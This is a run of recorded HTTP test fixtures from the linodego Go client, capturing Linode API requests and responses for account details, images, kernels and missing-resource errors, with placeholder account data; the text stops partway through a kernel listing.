X-Accepted-Oauth-Scopes: - stackscripts:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleGetAccount.yaml000066400000000000000000000047561474652371000310340ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account method: GET response: body: '{"company": "Linode", "email": "foo@linode.com", "first_name": "foo", "last_name": "bar", "address_1": "123 Street Street", "address_2": "NA", "city": "Philadelphia", "state": "PA", "zip": "30000", "country": "US", "phone": "1234567891", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card": {"last_four": "1234", "expiry": "02/2020"}, "balance_uninvoiced": 0.0, "active_since": "2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", "Machine Images", "Managed Databases"], "active_promotions": [], "euuid": "FFFFFFFF-2E4D-47CE-FFFFFFFFFFFFFFFFF"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "658" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 31 May 2024 17:04:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleGetImage_missing.yaml000066400000000000000000000026741474652371000322100ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/not-found method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Fri, 31 May 2024 17:04:45 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleGetKernel_specific.yaml000066400000000000000000000066001474652371000325130ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels/linode%2Flatest-32bit method: GET response: body: '{"id": "linode/latest-32bit", "label": "Latest 32 bit (6.8.9-x86-linode184)", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "202" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 31 May 2024 17:04:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels/linode%2Flatest-64bit method: GET response: body: '{"id": "linode/latest-64bit", "label": "Latest 64 bit (6.8.9-x86_64-linode164)", "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "207" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 31 May 2024 17:04:45 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleGetType_missing.yaml000066400000000000000000000022521474652371000320770ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types/missing-type method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:37:11 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleListImages_all.yaml000066400000000000000000000420261474652371000316610ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images?page=1 method: GET response: body: '{"data": [{"id": "linode/almalinux8", "label": "AlmaLinux 8", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/almalinux9", "label": "AlmaLinux 9", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.16", "label": "Alpine 3.16", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.17", "label": "Alpine 3.17", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.18", "label": "Alpine 3.18", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/alpine3.19", "label": "Alpine 3.19", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/arch", "label": "Arch Linux", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Arch", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream8", "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian10", "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11", "label": "Debian 11", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian12", "label": "Debian 12", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora38", "label": "Fedora 38", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora39", "label": "Fedora 39", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora40", "label": "Fedora 40", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": 6500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Gentoo", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/kali", "label": "Kali Linux", "deprecated": false, "size": 1536, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Kali", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.27.9", "label": "Kubernetes 1.27.9 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian12-kube-v1.27.9", "label": "Kubernetes 1.27.9 on Debian 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.28.3", "label": "Kubernetes 1.28.3 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian12-kube-v1.28.3", "label": "Kubernetes 1.28.3 on Debian 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/debian11-kube-v1.29.2", "label": "Kubernetes 1.29.2 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian12-kube-v1.29.2", "label": "Kubernetes 1.29.2 on Debian 12", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/opensuse15.5", "label": "openSUSE Leap 15.5", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/rocky9", "label": "Rocky Linux 9", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware15.0", "label": "Slackware 15.0", "deprecated": false, "size": 11000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Slackware", "expiry": null, "eol": null, "status": "available", "capabilities": []}, {"id": "linode/ubuntu20.04", "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu22.04", "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu23.04", "label": "Ubuntu 23.04", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu23.10", "label": "Ubuntu 23.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/ubuntu24.04", "label": "Ubuntu 24.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}, {"id": "linode/debian9", "label": "Debian 9", "deprecated": true, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/fedora37", "label": "Fedora 37", "deprecated": true, "size": 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/opensuse15.4", "label": "openSUSE Leap 15.4", "deprecated": true, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.1", "label": "Slackware 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": null, "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Slackware", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/slackware14.2", "label": "Slackware 14.2", "deprecated": true, "size": 6000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Slackware", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": true, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": true, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}], "page": 1, "pages": 1, "results": 40}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 31 May 2024 17:04:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "20" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleListImages_badfilter.yaml000066400000000000000000000027651474652371000330530ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"foo":"bar"}' url: https://api.linode.com/v4beta/images?page=1 method: GET response: body: '{"errors": [{"reason": "Cannot filter on foo", "field": "X-Filter"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "69" Content-Type: - application/json Expires: - Fri, 31 May 2024 17:04:46 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Frame-Options: - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "20" status: 400 Bad Request code: 400 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleListImages_notfound.yaml000066400000000000000000000035631474652371000327500ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"label":"not-found"}' url: https://api.linode.com/v4beta/images?page=1 method: GET response: body: '{"pages": 0, "data": [], "results": 0, "page": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 31 May 2024 17:04:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "20" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleListKernels_all.yaml000066400000000000000000002255351474652371000320670ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=1 method: GET response: body: '{"data": [{"id": "linode/latest-2.6-32bit", "label": "Latest 2.6 (2.6.39.1-linode34)", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.8.9-x86-linode184)", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86_64-linode164", "label": "6.8.9-x86_64-linode164", "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86-linode184", "label": "6.8.9-x86-linode184", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86_64-linode163", "label": "6.7.9-x86_64-linode163", "version": "6.7.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86-linode183", "label": "6.7.9-x86-linode183", "version": "6.7.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86_64-linode162", "label": "6.4.9-x86_64-linode162", "version": "6.4.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86-linode182", "label": "6.4.9-x86-linode182", "version": "6.4.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86_64-linode161", "label": "6.3.5-x86_64-linode161", "version": "6.3.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86-linode181", "label": "6.3.5-x86-linode181", "version": "6.3.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", "label": "5.19.2-x86-linode176", "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86_64-linode155", "label": "5.18.2-x86_64-linode155", "version": "5.18.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86-linode175", "label": 